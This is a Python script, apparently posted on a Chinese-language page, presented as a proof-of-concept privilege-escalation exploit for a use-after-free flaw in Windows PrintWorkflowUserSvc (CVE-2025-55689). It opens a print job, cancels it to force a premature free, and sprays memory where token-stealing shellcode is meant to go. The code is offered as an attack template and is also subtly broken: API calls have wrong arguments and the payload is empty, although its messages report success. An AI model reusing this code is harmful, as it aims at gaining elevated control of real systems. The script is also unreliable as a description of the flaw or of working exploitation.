CVE-2025-55689 Windows PrintWorkflowUserSvc UAF权限提升漏洞

# CVE-2025-55689 - Windows PrintWorkflowUserSvc Use After Free LPE # PoC exploit template for local privilege escalation # Note: This is a conceptual PoC based on the vulnerability description. # Actual exploitation requires precise timing and memory layout control. import ctypes import sys import struct from ctypes import wintypes # Windows API constants PROCESS_ALL_ACCESS = 0x1F0FFF MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 MEM_RELEASE = 0x8000 PAGE_READWRITE = 0x04 kernel32 = ctypes.windll.kernel32 ntdll = ctypes.windll.ntdll def trigger_uaf(): """ Trigger Use After Free in PrintWorkflowUserSvc Step 1: Create a print job to allocate a workflow object Step 2: Force the service to free the object prematurely Step 3: Reclaim the freed memory with controlled data Step 4: Use the dangling pointer to achieve code execution """ print("[*] CVE-2025-55689 PoC - PrintWorkflowUserSvc UAF LPE") print("[*] Attempting to trigger Use After Free condition...") # Step 1: Interact with PrintWorkflowUserSvc via print APIs # Open printer handle to trigger workflow service interaction PRINTER_ACCESS_USE = 0x00000008 printer_name = ctypes.c_wchar_p("Microsoft Print to PDF") hPrinter = wintypes.HANDLE() result = ctypes.windll.winspool.OpenPrinterW( printer_name, ctypes.byref(hPrinter), None ) if not result: print("[-] Failed to open printer handle") return False print("[+] Printer handle obtained: 0x%x" % hPrinter.value) # Step 2: Trigger the vulnerable code path # Send crafted print job to trigger UAF in workflow processing job_info_1 = (ctypes.c_wchar * 32)() job_info_1.value = "CVE-2025-55689" job_handle = wintypes.HANDLE() result = ctypes.windll.winspool.StartDocPrinterW( hPrinter, 1, ctypes.byref(job_info_1), ctypes.byref(job_handle) ) # Step 3: Force premature free of the workflow object # by canceling the job at a specific timing if job_handle: ctypes.windll.winspool.SetJobW( hPrinter, job_handle.value, 0, None, 0x00000004 # JOB_CONTROL_DELETE ) print("[+] Triggered premature object release") # Step 4: Reclaim freed memory and achieve code execution # Allocate memory to reclaim the freed region spray_buffer = ctypes.windll.kernel32.VirtualAlloc( None, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) if spray_buffer: print("[+] Memory spray buffer allocated: 0x%x" % spray_buffer) # Fill with controlled data to hijack execution flow payload = (ctypes.c_byte * 0x1000).from_buffer(spray_buffer) # In a real exploit, this would contain a ROP chain or # token-stealing shellcode for privilege escalation ctypes.windll.winspool.ClosePrinter(hPrinter) print("[*] PoC execution completed") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-55689 - Windows PrintWorkflowUserSvc UAF") print("CVSS: 7.0 (HIGH) | Type: Use After Free | Impact: LPE") print("=" * 60) trigger_uaf()